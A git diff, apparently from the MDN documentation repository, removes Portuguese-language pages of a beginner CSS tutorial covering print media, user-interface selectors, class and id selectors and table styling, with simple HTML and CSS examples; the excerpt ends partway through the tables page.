Você pode controlar como o conteúdo do documento quebra através de limites de página, usando as propriedades page-break-before, page-break-after e page-break-inside.

- - - - - - - - -
Exemplos
Esta regra configura as margens da página para uma polegada em todos os quatro lados: -
-
-@page {margin: 1in;}
-
-
- -

Esta regra assegura que todos os elementos H1 comecem em uma nova página:

- -
-
-h1 {page-break-before: always;}
-
-
-
- - - - - - - - -
Mais detalhes
Para detalhes completos sobre o suporte das CSS para páginas de mídia, veja Paged media em CSS Specification. -

Como outras características das CSS, imprimir depende do seu navegador e de suas configurações. Por exemplo, seu navegador Mozilla proporciona por padrão margens, cabeçalhos e rodapés quando é impresso. Quando outros usuários imprimem seu documento, você provavelmente não poderá predizer o navegador e as configurações que eles usarão, então você provavelmente não poderá controlar os resultados completamente.

-
- -

Interfaces do utilizador

- -

CSS tem algumas propriedades especiais para dispositivos que suportem a interface de usuário, como a tela do computador. Isto faz a aparência do documento mudar dinamicamente como o usuário trabalha com a interface.

- -

Não existe um tipo de mídia especial para dispositivos com interfaces de usuários.

- -

Existem cinco seletores especiais:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SeletorSeleciona
E:hoverQualquer elemento E que tenha um ponteiro sobre ele
E:focusQualquer elemento E que tenha um foco no teclado
E:activeO elemento E que é envolvido na corrente ação do usuário
E:linkQualquer elemento E que seja um hiperlink para uma URL que o usuário não visitou recentemente
E:visitedQualquer elemento E que seja um hiperlink para uma URL que o usuário visitou recentemente
- -

A propriedade cursor especifica a forma do ponteiro: Algumas das formas comuns são como segue. Coloque seu mouse sobre os itens nesta lista para ver as formas comuns dos ponteiros no seu navegador:

- - - - - - - - - - - - - - - - - - - - - - - - -
SeletorSeleciona
pointerIndica um link
waitIndica que o programa não pode aceitar a entrada
progressIndica que o programa está trabalhando, mas ainda pode aceitar a entrada
defaultO padrão (usualmente uma flecha)
- -


- Uma propriedade outline cria um contorno que é normalmente usado para indicar foco do teclado. Estes valores são similares aos da propriedade border, exceto que você não pode especificar lados individuais.

- -

Algumas outras características das interfaces de usuário são implementadas usando atributos, de uma maneira normal. Por exemplo, um elemento que está desabilitado ou somente leitura tem o atributo disabled ou o atributo readonly. Seletores podem especificar estes atributos como qualquer outros atributos, usando colchetes: {{ mediawiki.external('disabled') }} ou {{ mediawiki.external('readonly') }}.

- - - - - - - - -
Exemplo
Estas regras especificam estilos para um botão que muda dinamicamente como a interação do usuário com isso: -
-
-.green-button {
-  background-color:#cec;
-  color:#black;
-  border:2px outset #cec;
-  }
-
-.green-button[disabled] {
-  background-color:#cdc;
-  color:#777;
-  }
-
-.green-button:active {
-  border-style: inset;
-  }
-
-
- -

Este wiki não suporta uma interface de usuário na página, então estes botões não são "clicáveis". Aqui estão algumas imagens estáticas para ilustrar a idéia:

- - - - - - - -
- - - - - - - - - - - - - - - - -
Clique AquiClique AquiClique Aqui
 
desativadonormalativo
-
- -

Um botão plenamente funcional também tem um contorno escuro em toda a sua volta quando isto é o padrão, e um contorno pontilhado na face do botão quando ele é focado pelo teclado. Isto pode também ter um efeito quando o ponteiro está sobre ele.

-
- - - - - - - - -
Mais detalhes
Para mais informações sobre interfaces de usuário em CSS, veja User interface em CSS Specification. -

Existe um exemplo da linguagem de marcação Mozilla para interfaces de usuário, XUL, na segunda parte deste tutorial.

-
- -

Ação: Imprimir um documento

- -

Crie um novo documento HTML, doc4.html. Copie e cole o conteúdo daqui, tendo certeza de ter rolado a tela para pegar tudo isto:

- -
-
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">
-<HTML>
-
-<HEAD>
-<TITLE>Impressão de amostra</TITLE>
-<LINK rel="stylesheet" type="text/css" href="style4.css"></strong>
-</HEAD>
-
-<BODY>
-<H1>Seção A</H1>
-<P>Esta é a primeira seção...</P>
-
-<H1>Seção B</H1>
-<P>Esta é a segunda seção...</P>
-
-<DIV id="print-head">
-Dirigir para mídias paginadas
-</DIV>
-
-<DIV id="print-foot">
-Página:
-</DIV>
-
-</BODY>
-</HTML>
-
-
- -

Crie uma nova folha de estilo, style4.css. Copie e cole o conteúdo daqui, tendo certeza de ter rolado a tela para pegar tudo isto:

- -
-
/*** Impressão de amostra ***/
-
-/* Padrão para a tela */
-#print-head,
-#print-foot {
-  display: none;
-  }
-
-/* Somente impressão */
-@media print {
-
-h1 {
-  page-break-before: always;
-  padding-top: 2em;
-  }
-
-h1:first-child {
-  page-break-before: avoid;
-  counter-reset: page;
-  }
-
-#print-head {
-  display: block;
-  position: fixed;
-  top: 0pt;
-  left:0pt;
-  right: 0pt;
-
-  font-size: 200%;
-  text-align: center;
-  }
-
-#print-foot {
-  display: block;
-  position: fixed;
-  bottom: 0pt;
-  right: 0pt;
-
-  font-size: 200%;
-  }
-
-#print-foot:after {
-  content: counter(page);
-  counter-increment: page;
-  }
-
-} /* Fim de somente impressão */
-
-
- -

Quando você exibe este documento em seu navegador, ele usa o estilo padrão do navegador.

- -

Quando você imprime (ou prevê a impressão) do documento, a folha de estilo coloca cada seção em uma página separada, e adiciona um cabeçalho e um rodapé para cada página. Se o seu navegador suportar contadores, isto adiciona um número na página no seu rodapé.

- - - - - - - - -
- - - - - - -
- - - - - - -
-
Cabeçalho
- -
Secção A
- -
Esta é a primeira secção...
- -
Página: 1
-
-
-
- - - - - - -
- - - - - - -
-
Cabeçalho
- -
Secção B
- -
Esta é a segunda secção...
- -
Página: 2
-
-
-
- - - - - - - - -
Desafios
Mova o estilo específico de impressão para um arquivo CSS separado. -

Use as ligações nesta página para ler a CSS Specification. Ache detalhes de como importar o novo arquivo CSS específico para impressão em sua folha de estilo.

- -

Faça os cabeçalhos serem azuis quando o ponteiro do mouse estiver sobre eles.

-
- -

O que vem depois?

- -

Se teve dificuldade para entender esta página, ou se você tem algum comentário sobre ela, por favor contribua nesta página de Discussão.

- -

Até agora, todas as regras de estilo neste tutorial foram especificadas em arquivos. As regras e seus volumes são fixos. A próxima página descreve como você muda as regras dinamicamente usando uma linguagem de programação: JavaScript

- -

{{ PreviousNext("CSS:Como começar:Tabelas", "CSS:Como começar:JavaScript") }}

diff --git "a/files/pt-pt/web/css/como_come\303\247ar/o_que_\303\251_css/index.html" "b/files/pt-pt/web/css/como_come\303\247ar/o_que_\303\251_css/index.html" deleted file mode 100644 index 2ee2937e47..0000000000 --- "a/files/pt-pt/web/css/como_come\303\247ar/o_que_\303\251_css/index.html" +++ /dev/null @@ -1,135 +0,0 @@ ---- -title: O que é CSS -slug: Web/CSS/Como_começar/O_que_é_CSS -tags: - - 'CSS:Como_começar' -translation_of: Learn/CSS/First_steps/How_CSS_works -translation_of_original: Web/Guide/CSS/Getting_started/What_is_CSS ---- -

{{Next("CSS:Como começar:Porque usar CSS")}}

- -

Esta página explica o que é CSS. Você cria um documento de amostra para que possa trabalhar com as páginas seguintes.

- -

Informações: O que é CSS?

- -

CSS é uma linguagem que especifica como os documentos são apresentados aos usuários.

- -

Um documento é uma coleção de informações estruturadas utilizando uma linguagem de marcação.

- - - - - - - - -
Exemplos
-
    -
  • Uma página da Web como esta é um documento.
    - As informações que você vê em uma página da Web, geralmente, é estruturada utilizando a linguagem de marcação HTML (HyperText Markup Language - Linguagem de Marcação de Hiper Texto).
  • -
- -
    -
  • Uma caixa de diálogo em um aplicativo Mozilla é um documento.
    - A interface com o usuário controla o que aparece em uma caixa de diálogo Mozilla, que é estruturada utilizando a linguagem de marcação XUL (XML User-interface Language - Linguagem de Interface do Usuário XML).
  • -
-
- -

Neste tutorial, os quadros entitulados Mais detalhes como este logo abaixo, contêm informações opcionais. Se você está com pressa para progredir no tutorial, você pode ignorar esses quadros, retornando para lê-los posteriormente. Caso contrário, leia-os ao encontrá-los, e talvez siga os links para aprender mais.

- - - - - - - - -
Mais detalhes
-

Um documento não é igual a um arquivo. Ele pode ou não ser armazenado em um arquivo.

- -

Por exemplo, o documento que você está lendo agora não está armazendo em um arquivo. Quando seu navegador da Web solicita esta página, o servidor consulta um banco de dados e gera o documento, reunindo partes do documento a partir de muitos arquivos. Entretanto, neste tutorial você vai trabalhar com documentos que estão armazenados em arquivos.

- -

Para mais informações sobre documentos e linguagens de marcação, consulte outras partes deste Web site — por exemplo:

- - - - - - - - - - - - - - - - - - - - -
HTMLpara páginas da Web
XMLpara documentos estruturados em geral
SVGpara gráficos
XULpara interfaces com o usuário no Mozilla
- -

Na Parte II deste tutorial você verá exemplos dessas linguagens de marcação.

-
- -

Apresentar um documento a um usuário significa convertê-lo para uma forma que humanos possam usá-lo. O Mozilla é projetado para apresentar documentos visualmente — por exemplo, em uma tela de computador, projetor ou impressora.

- - - - - - - - -
Mais detalhes
CSS não serve apenas para navegadores e apresentação visual. Em uma terminologia formal de CSS, o programa que apresenta um documento ao usuário é chamado de agente usuário (UA - User Agent). Um navegador é apenas um tipo de UA. Entretanto, na Parte I deste tutorial você irá trabalhar apenas com CSS em um navegador. -

Para mais definições formais de terminologia sobre CSS, consulte Definitions na CSS Specification.

-
- -

Ação: Criando um documento

- -

Utilize seu computador para criar um novo diretório e um novo arquivo de texto dentro dele. O arquivo irá conter seu documento.

- -

Copie e cole o código HTML mostrado abaixo. Salve o arquivo utilizando o nome doc1.html

- -
-
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0//EN">
-<html>
-  <head>
-  <title>Documento de amostra</title>
-  </head>
-
-  <body>
-    <p>
-      <strong>C</strong>ascading
-      <strong>S</strong>tyle
-      <strong>S</strong>heets
-    </p>
-  </body>
-</html>
-
-
- -

Em seu navegador, abra uma aba ou uma nova janela, e abra o arquivo do diretório.

- -

Você deve ver o texto com as iniciais em negrito, conforme abaixo:

- - - - - - - -
Cascading Style Sheets
- -

O que você vê em seu navegador pode não ser exatamente como o exibido aqui, por causa das configurações de seu navegador e deste wiki. Se houver diferenças na fonte, espaçamento ou cor, não há importância.

- -

O que vem depois?

- -

Se você teve dificuldade para entender esta página, ou se você tem algum comentário sobre ela, por favor contribua nesta página de Discussão.

- -

Seu documento ainda não utiliza CSS. Na página a seguir você utilizará CSS para especificar o estilo: Porque usar CSS

- -

{{Next("CSS:Como começar:Porque usar CSS")}}

diff --git "a/files/pt-pt/web/css/como_come\303\247ar/o_que_\303\251_css_question_/index.html" "b/files/pt-pt/web/css/como_come\303\247ar/o_que_\303\251_css_question_/index.html" deleted file mode 100644 index d386670557..0000000000 --- "a/files/pt-pt/web/css/como_come\303\247ar/o_que_\303\251_css_question_/index.html" +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: O que é CSS? -slug: Web/CSS/Como_começar/O_que_é_CSS? -tags: - - 'CSS:Como_começar' ---- -

-

This page explains what CSS is. -You create a simple document that you will work with on the following pages. -

-

Information: What is CSS?

-

CSS is a language for specifying how documents are presented to users. -

A document is a collection of information that is structured using a markup language. -

- - -
Examples -
-
  • A web page like this one is a document.
    The information that you see in a web page is usually structured using the markup language HTML (HyperText Markup Language). -
-
  • A dialog in a Mozilla application is a document.
    The user interface controls that you see in a Mozilla dialog are structured using the markup language XUL (XML User-interface Language). -
-
-

In this tutorial, boxes captioned More details like the one below contain optional information. -If you are in a hurry to progress with the tutorial then you could skip these boxes, perhaps returning to read them later. Otherwise read them when you come to them, and perhaps follow the links to learn more. -

- - -
More details -
-

A document is not the same as a file. It might or might not be stored in a file. -

For example, the document that you are reading now is not stored in a file. When your web browser requests this page, the server queries a database and generates the document, gathering parts of the document from many files. However, in this tutorial you will work with documents that are stored in files. -

For more information about documents and markup languages, see other parts of this web site—for example: -

- - - - - - - - -
HTMLfor web pages -
XMLfor structured documents in general -
SVGfor graphics -
XULfor user interfaces in Mozilla -
-

In Part II of this tutorial you will see examples of these markup languages. -

-
-

Presenting a document to a user means converting it into a form that humans can make use of. Mozilla is designed to present documents visually—for example, on a computer screen, projector or printer. -

- - -
More details -
CSS is not just for browsers, and not just for visual presentation. In formal CSS terminology, the program that presents a document to a user is called a user agent (UA). A browser is just one kind of UA. However, in Part I of this tutorial you will only work with CSS in a browser. -

For some formal definitions of terminology relating to CSS, see Definitions in the CSS Specification. -

-
-

Action: Creating a document

-

Use your computer to create a new directory and a new text file there. -The file will contain your document. -

Copy and paste the HTML shown below. Save the file using the name doc1.html -

-
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0//EN">
-<html>
-  <head>
-  <title>Sample document</title>
-  </head>
-
-  <body>
-    <p>
-      <strong>C</strong>ascading
-      <strong>S</strong>tyle
-      <strong>S</strong>heets
-    </p>
-  </body>
-</html>
-
-

In your browser, open a new tab or a new window, and open the file there. -

You should see the text with the initial letters bold, like this: -

- - -
Cascading Style Sheets -
-

What you see in your browser might not look exactly the same as this, because of settings in your browser and in this wiki. If there are some differences in the font, spacing and colors that you see, they are not important. -

-

What next?

-

If you had difficulty understanding this page, or if you have other comments about it, please contribute to its Discussion page. -

Your document does not yet use CSS. -On the next page you use CSS to specify its style: -Why use CSS? -

{{ languages( { "en": "en/CSS/Getting_Started/What_is_CSS", "fr": "fr/CSS/Premiers_pas/Pr\u00e9sentation_des_CSS", "it": "it/Conoscere_i_CSS/Che_cosa_sono_i_CSS", "ja": "ja/CSS/Getting_Started/What_is_CSS", "pl": "pl/CSS/Na_pocz\u0105tek/Czym_jest_CSS", "zh-cn": "cn/CSS/Getting_Started/What_is_CSS" } ) }} diff --git "a/files/pt-pt/web/css/como_come\303\247ar/porque_usar_css/index.html" "b/files/pt-pt/web/css/como_come\303\247ar/porque_usar_css/index.html" deleted file mode 100644 index 2adc531924..0000000000 --- "a/files/pt-pt/web/css/como_come\303\247ar/porque_usar_css/index.html" +++ /dev/null @@ -1,111 +0,0 @@ ---- -title: Porque usar CSS -slug: Web/CSS/Como_começar/Porque_usar_CSS -tags: - - 'CSS:Como_começar' -translation_of: Learn/CSS/First_steps/How_CSS_works -translation_of_original: Web/Guide/CSS/Getting_started/Why_use_CSS ---- -

{{ PreviousNext("CSS:Como começar:O que é CSS", "CSS:Como começar:Como o CSS trabalha") }}

- -

Esta página explica porque os documentos usam CSS. Você usa CSS para adicionar uma folha de estilo ao seu documento de amostra.

- -

Informações: Por que usar CSS?

- -

CSS ajuda a manter o conteúdo das informações de um documento separado dos detalhes de como exibí-lo. Os detalhes de como exibir o documento são conhecidos como estilo. Você mantém o estilo separado do conteúdo, de modo que você pode:

- - - - - - - - - - -
Exemplo
Seu Web site pode ter milhares de páginas similares. Utilizando CSS, você armazena as informações em arquivos comuns que todas as páginas compartilham. -

Quando um usuário exibe uma página da Web, o navegador do usuário carrega as informações de estilo junto com o conteúdo da página.

- -

Quando um usuário imprime uma página da Web, você fornece informações de estilo diferentes que tornam a página impressa mais fácil de ler.

-
- -

Geralmente, com CSS, você utiliza a linguagem de marcação para descrever o conteúdo das informações do documento, não seu estilo. Você utiliza CSS para especificar o estilo, não o conteúdo. (Posteriormente neste tutorial, você verá algumas exceções deste método.)

- - - - - - - - -
Mais detalhes
Uma linguagem de marcação, como o HTML, também fornece alguns modos de especificar o estilo. -

Por exemplo, em HTML, você pode usar uma tag <b> para tornar o texto negrito, e você pode especificar a cor do segundo plano de uma página na tag <body>.

- -

Ao utilizar CSS, você normalmente evita utilizar esses recursos da linguagem de marcação para que todas as informações de estilo de seu documento estejam em um só lugar.

-
- -

Ação: Criando uma folha de estilo

- -

Crie outro arquivo de texto no mesmo diretório do anterior. Este arquivo será sua folha de estilo. Nomeie-o como: style1.css

- -

Em seu arquivo CSS, copie e cole esta única linha, então salve o arquivo:

- -
-
strong {color: red;}
-
-
- -

Ligando seu documento à sua folha de estilo

- -

Para ligar seu documento com sua folha de estilo, edite seu aquivo HTML. Adicione a linha mostrada aqui em negrito:

- -
-
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">
-<HTML>
-  <HEAD>
-  <TITLE>Documento de amostra</TITLE>
-  <LINK rel="stylesheet" type="text/css" href="style1.css">
-  </HEAD>
-  <BODY>
-    <P>
-      <STRONG>C</STRONG>ascading
-      <STRONG>S</STRONG>tyle
-      <STRONG>S</STRONG>heets
-    </P>
-  </BODY>
-</HTML>
-
-
- -

Salve o arquivo e atualize a tela do seu navegador. A folha de estilo fez as letras iniciais aparecerem em vermelha, como isto:

- - - - - - - -
Cascading Style Sheets
- - - - - - - - -
Desafio
Além do vermelho, CSS permite algumas outras cores com nomes. -

Sem olhar um referência, ache mais cinco nomes de cores que trabalham em sua folha de estilo.

-
- -

O que vem depois?

- -

Se você teve dificuldade para entender esta página, ou se você tem algum comentário sobre ela, por favor contribua nesta página de Discussão.

- -

Agora você tem um documento de amostra ligado a uma folha de estilo separada, você está pronto para ler mais sobre como seu navegador combina-os quando exibe o documento na tela: Como o CSS trabalha.

- -

{{ PreviousNext("CSS:Como começar:O que é CSS", "CSS:Como começar:Como o CSS trabalha") }}

diff --git "a/files/pt-pt/web/css/como_come\303\247ar/seletores/index.html" "b/files/pt-pt/web/css/como_come\303\247ar/seletores/index.html" deleted file mode 100644 index f9d4505614..0000000000 --- "a/files/pt-pt/web/css/como_come\303\247ar/seletores/index.html" +++ /dev/null @@ -1,208 +0,0 @@ ---- -title: Seletores -slug: Web/CSS/Como_começar/Seletores -tags: - - 'CSS:Como_começar' -translation_of: Learn/CSS/Building_blocks/Selectors -translation_of_original: Web/Guide/CSS/Getting_started/Selectors ---- -

{{ PreviousNext("CSS:Como começar:Cascata e herança", "CSS:Como começar:CSS legível") }}

- -

Esta página explica como você pode aplicar estilos seletivamente, e como diferentes tipos de seletor têm propriedades diferentes.

- -

Você adiciona alguns atributos às tags do seu documento de amostra, e usa estes atributos em sua folha de estilo de amostra.

- -

Informação: Seletores

- -

CSS tem sua própria terminologia para descrever a linguagem CSS. Anteriormente neste tutorial, você criou uma linha em sua folha de estilo com esta:

- -
-
strong {color: red;}
-
-
- -

Na terminologia das CSS, esta linha inteira é uma regra. Esta regra começa com STRONG, que é um seletor. Isto seleciona que elementos no DOM a regra se aplicará.

- - - - - - - - -
Mais detalhes
A parte interior das chaves é a declaração. -

A palavra-chave color é uma propriedade, e red é um valor.

- -

O ponto-e-vírgula depois do par propriedade-valor separa isto de outros pares propriedade-valor na mesma descrição.

- -

Este tutorial refere-se a um seletor STRONG, como um seletor de tag. A Especificação das CSS refere-se a isto como um seletor de tipo.

-
- -

Esta página do tutorial explica mais sobre os seletores que você pode usar nas regras das CSS.

- -

Em adição aos nomes de tags, você pode usar valores de atributo nos seletores. Isto permite a você que as regras tornem-se mais específicas.

- -

Dois atributos tem estado especial para as CSS. Eles são class e id.

- -

Use o atributo class em uma tag para nomear a tag com um nome de classe. Isto é, o nome que você escolher para a classe.

- -

Na sua folha de estilo, digite um registro completo (período) antes do nome de classe quando você usá-lo em um seletor.

- -

Use o atributo id em uma tag para nomear a tag com um nome de id. Isto é, o nome que você escolher para o id. O nome do id deve ser único no documento.

- -

Na sua folha de estilo, digite um sinal de número (#) antes do id quando você usá-lo em um seletor.

- - - - - - - - -
Exemplos
Este tag HTML tem ambos os atributos class e id. -
-
-<P class="key" id="principal">
-
-
- -

O id, principal, deve ser o único no documento, mas outras tags no documento podem ter o mesmo nome de classe, key.

- -

Em uma folha de estilo CSS, esta regra faz todos os elementos da classe key verdes. (Eles podem não ser todos elementos P.)

- -
-
-.key {color: green;}
-
-
- -

Esta regra faz um elemento com o id principal negrito:

- -
-
-#principal {font-weight: bolder;}
-
-
-
- -

Se mais de uma regra se aplicar a um elemento e especificar a mesma propriedade, então CSS dará prioridade para a regra que tiver o seletor mais específico. Um seletor id é mais específíco que um seletor classe, que por sua vez é mais específico que um seletor tag.

- - - - - - - - -
Mais detalhes
Você pode combinar seletores para fazer um seletor mais específico. -

Por exemplo, o seletor .key seleciona todos os elementos que tem o nome de classe key. O seletor p.key seleciona somente os elementos P que tiverem o nome de classe key.

- -

Você não está restrito aos dois atributos especiais, class e id. Você pode especificar outros atributos igualando entre colchetes. Por exemplo, o seletor {{ mediawiki.external('type=button') }} seleciona todos os elementos que tiverem um atributo type com o valor button.

- -

Uma página posterior deste tutorial (Tabelas) tem informações sobre seletores complexos baseados em parentescos.

- -

Para um informação completa sobre seletores, veja Selectors na CSS Specification.

-
- -

Se sua folha de estilo tiver regras conflitantes e elas estiverem igualmente especificadas, então CSS dará prioridade para a regra que foi especificada por último na folha de estilo.

- -

Quando você tiver um problema com regras conflitantes, tente resolvê-lo fazendo uma das regras mais especificada, então ela terá prioridade. Se você não puder fazer isto, tente mover uma das regras para mais perto do fim da folha de estilo, então esta terá prioridade.

- -

Ação: Usando seletores de classe e id

- -

Edite seu arquivo HTML, e duplique o paragrafo copiando e colando-o. Então adicione os atributos de id e classe na primeira cópia, e um id na segunda cópia como mostrado abaixo. Um alternativa é copiar e colar o arquivo inteiro novamente:

- -
-
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">
-<HTML>
-  <HEAD>
-  <TITLE>Documento de amostra</TITLE>
-  <LINK rel="stylesheet" type="text/css" href="style1.css">
-  </HEAD>
-  <BODY>
-    <P id="first">
-      <STRONG class="carrot">C</STRONG>ascading
-      <STRONG class="spinach">S</STRONG>tyle
-      <STRONG class="spinach">S</STRONG>heets
-    </P>
-    <P id="second">
-      <STRONG>C</STRONG>ascading
-      <STRONG>S</STRONG>tyle
-      <STRONG>S</STRONG>heets
-    </P>
-  </BODY>
-</HTML>
-
-
- -

Agora edite seu arquivo CSS. Substitua os componentes inteiros com:

- -
-
strong {color: red;}
-.carrot {color: orange;}
-.spinach {color: green;}
-#first {font-style: italic;}
-
-
- -


- Atualize seu navegador para ver o resultado:

- - - - - - - - - - -
Cascading Style Sheets
Cascading Style Sheets
- -


- Você pode tentar re-dispor as linhas no seu arquivo CSS para mostrar que a ordem não muda o efeito.

- -

Os seletores de classe .carrot e .spinach tem prioridade sobre o seletor de tag STRONG.

- -

O seletor id #first tem prioridade sobre a classe o os seletores de tag.

- - - - - - - - -
Desafios
Sem mudar seu arquivo HTML, adicione uma única regra para seu arquivo CSS deixando todas as letras iniciais da mesma cor que estão agora, mas fazendo todo o segundo parágrafo aparecer em azul: - - - - - - - - - -
Cascading Style Sheets
Cascading Style Sheets
- -

Agora mude a regra que você acabou de adicionar (sem mudar mais nenhuma coisa), para fazer o primeiro parágrafo em azul também:

- - - - - - - - - - -
Cascading Style Sheets
Cascading Style Sheets
-
- -

O que vem depois?

- -

Se você teve dificuldade para entender esta página, ou se você tem algum comentário sobre ela, por favor contribua nesta página de Discussão.

- -

Sua folha de estilo de amostra está começando a parecer densa e complicada. A próxima página descreve caminhos para fazer o CSS mais fácil de ler: CSS legível

- -

{{ PreviousNext("CSS:Como começar:Cascata e herança", "CSS:Como começar:CSS legível") }}

diff --git "a/files/pt-pt/web/css/como_come\303\247ar/tabelas/index.html" "b/files/pt-pt/web/css/como_come\303\247ar/tabelas/index.html" deleted file mode 100644 index ff21a00c82..0000000000 --- "a/files/pt-pt/web/css/como_come\303\247ar/tabelas/index.html" +++ /dev/null @@ -1,655 +0,0 @@ ---- -title: Tabelas -slug: Web/CSS/Como_começar/Tabelas -tags: - - 'CSS:Como_começar' -translation_of: Learn/CSS/Building_blocks/Styling_tables -translation_of_original: Web/Guide/CSS/Getting_started/Tables ---- -

{{ PreviousNext("CSS:Como começar:Disposição", "CSS:Como começar:Mídia") }}

- -

Esta página descreve seletores mais avançados, e algumas maneiras específicas para estilizar tabelas.

- -

Você cria um novo documento de amostra contendo uma tabela, e uma folha de estilo para isto.

- -

Informação: Mais seletores

- -

CSS possui algumas maneiras para selecionar elementos baseadas nas relações entre eles. Você pode usá-las para fazer seletores que sejam mais específicos.

- -

Aqui está um sumário de seletores baseados em relações:

- - - - - - - - - - - - - - - - - - - - - - - - -
SeletorSeleciona
A EQualquer elemento E que seja descendente de um elemento A (isso é: um subitem, ou um subitem de um sub item, etc.)
A > EQualquer elemento E que seja subitem de um elemento A
E:first-childQualque elemento E que seja o primeiro subitem do seu principal
B + EQualquer elemento E que seja o próximo irmão de um elemento B (isso é: o próximo subitem do mesmo principal)
- -

Você pode combinar isto para expressar relações complexas.

- -

Você pode também usar o símbolo * (asterisco) para dizer "qualquer elemento".

- - - - - - - - -
Exemplo
Uma tabela HTML tem um atributo id, mas suas linhas e células não tem identificadores individuais: -
-
-<TABLE id="data-table-1">
-...
-<TR>
-<TD>Prefix</TD>
-<TD>0001</TD>
-<TD>default</TD>
-</TR>
-...
-
-
- -

Estas regras fazem a primeira célula em cada linha em negrito, e a segunda célula em cada linha monoespaçada. Elas afetam somente uma tabela específica no documento:

- -
-
    -
  1. data-table-1 td:first-child {font-weight: bolder;}
  2. -
  3. data-table-1 td:first-child + td {font-family: monospace;}
  4. -
-
- -

O resultado é algo como isto:

- - - - - - - -
- - - - - - - - -
Prefix0001default
-
-
- - - - - - - - -
Mais detalhes
De maneira usual, se você faz um seletor mais específico então você aumenta sua prioridade. -

Usando estas técnicas, você evita precisar especificar atributos class ou id em muitas tags no seu documento. Em vez disso, CSS faz o trabalho.

- -

Em grandes projetos onde a velocidade é importante, você pode fazer suas folhas de estilo mais eficientes evitando regras complexas que dependem da relação entre elementos.

- -

Para detalhes completos sobre seletores, veja Selectors em CSS Specification.

-
- -

Informação: Tabelas

- -

Uma tabela é um arranjo de informação em uma grade retangular. Algumas tabelas podem ser complexas, e para tabelas complexas diferentes navegadores podem exibir diferentes resultados.

- -

Quando você desenha seu documento, use e a tabela para expressar as relações entre as peças da informação. Então não importará se os diferentes navegadores apresentarem a informação de maneiras levemente diferentes, pois o significado ainda pode ser compreendido.

- -

Não use tabelas de maneiras não usuais para produzir disposições visuais particulares. As técnicas na página anterior deste tutorial (Disposição) são melhores para isto.

- -

Estrutura da tabela

- -

Em uma tabela, cada peça de informação é exibida em uma célula.

- -

As células em uma linha horizontal na página compõem uma linha.

- -

Em algumas tabelas, as linhas podem ser agrupadas. Um grupo especial de linhas no começo da tabela é o cabeçalho. Um grupo especial de linhas no final da tabela é o rodapé. As linhas principais na tabela são o corpo, e elas podem também estar em grupos.

- -

As células em uma linha vertical na página compõem uma coluna, mas as colunas têm usos limitados nas tabelas das CSS.

- - - - - - - - -
Exemplo
A tabela de seletores próxima ao topo desta página tem dez células em cinco linhas. -

A primeira linha é o cabeçalho. As outras quatro linhas são o corpo. Não há um rodapé.

- -

Ela tem duas colunas.

-
- -

Este tutorial somente cobre tabelas simples, onde os resultados são razoavelmente previsíveis. Em uma tabela simples, toda célula ocupa somente uma linha e coluna. Você pode usar CSS para tabelas complexas onde células expandam (extendam-se sobre) mais do que uma linha ou coluna, mas tabelas como estas estão fora do escopo deste tutorial básico.

- -

Bordas

- -

Células não têm margens.

- -

Células têm bordas e enchimento. Por padrão, as bordas são separadas pelo valor da propriedade border-spacing da tabela. Você pode também remover o espaçamento completamente configurando a propriedade border-collapse da tabela para collapse.

- - - - - - - - -
Exemplo
Aqui estão três tabelas. -

A tabela da esquerda tem espaçamento de borda 0.5 em. A tabela do centro tem espaçamento da borda zero. A tabela da direita tem bordas unidas:

- - - - - - - - - -
- - - - - - - - - - - -
PausCopas
OurosEspadas
-
- - - - - - - - - - - -
PausCopas
OurosEspadas
-
- - - - - - - - - - - -
PausCopas
OurosEspadas
-
-
- -

Subtítulos

- -

Um subtítulo é uma etiqueta que se aplica à tabela inteira. Por padrão, isto é mostrado no topo da tabela.

- -

Para mover isto para o fim, configure a propriedade caption-side para bottom. A propriedade é herdada, então alternativamente você pode configurar isto na tabela em outro elemento ascendente.

- -

Para estilizar o texto do subtítulo, use qualquer das propriedades usuais para texto.

- - - - - - - - -
Exemplo
Esta tabela tem um subtítulo no fim: -
-
-#demo-table > caption {
-  caption-side: bottom;
-  font-style: italic;
-  text-align: right;
-  }
-
-
- - - - - - - -
- - - - - - - -
Naipes
- - - - - - - - - - - -
PausCopas
OurosEspadas
-
-
-
- -

Células vazias

- -

Você pode exibir células vazias (isto é, suas bordas e fundos) especificando empty-cells: show; para o elemento da tabela.

- -

Você pode escondê-los especificando empty-cells:hide;. Então, se um elemento principal tem um fundo e o chama, isto mostra através da célula vazia.

- - - - - - - - -
Exemplo
Estas tabelas tem um fundo de verde pálido. Suas células tem um fundo de cinza pálido e bordas de cinza escuro. -

Na esquerda da tabela, a célula vazia é mostrada. Na direita, é escondida:

- - - - - - - - -
- - - - - - - - - - - -
 Copas
OurosEspadas
-
- - - - - - - - - - - -
 Copas
OurosEspadas
-
-
- - - - - - - - -
Mais detalhes
Para informações detalhasdas sobre tabelas, veja Tables em CSS Specification. -

A informação lá vai além do que há neste tutorial, mas não cobre as diferenças entre os navegadores que podem afetar tabelas complexas.

-
- -

Ação: Estilizando uma tabela

- -

Faça um novo documento HTML, doc3.html. Copie e cole o conteúdo daqui, tendo certeza que você rolou a tela para pegar tudo isto:

- -
-
<DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">
-<HTML>
-<HEAD>
-<TITLE>Documento de amostra 3</TITLE>
-<LINK rel="stylesheet" type="text/css" href="style3.css">
-</HEAD>
-<BODY>
-
-<TABLE id="demo-table">
-<CAPTION>Oceanos</CAPTION>
-
-<THEAD>
-<TR>
-<TH></TH>
-<TH>Área</TH>
-<TH>Profundidade Média</TH>
-</TR>
-<TR>
-<TH></TH>
-<TH>milhões de km<SUP>2</SUP></TH>
-<TH>m</TH>
-</TR>
-</THEAD>
-
-<TBODY>
-<TR>
-<TH>Ártico</TH>
-<TD>13,000</TD>
-<TD>1,200</TD>
-</TR>
-<TR>
-<TH>Atlântico</TH>
-<TD>87,000</TD>
-<TD>3,900</TD>
-</TR>
-<TR>
-<TH>Pacífico</TH>
-<TD>180,000</TD>
-<TD>4,000</TD>
-</TR>
-<TR>
-<TH>Índico</TH>
-<TD>75,000</TD>
-<TD>3,900</TD>
-</TR>
-<TR>
-<TH>Antártico</TH>
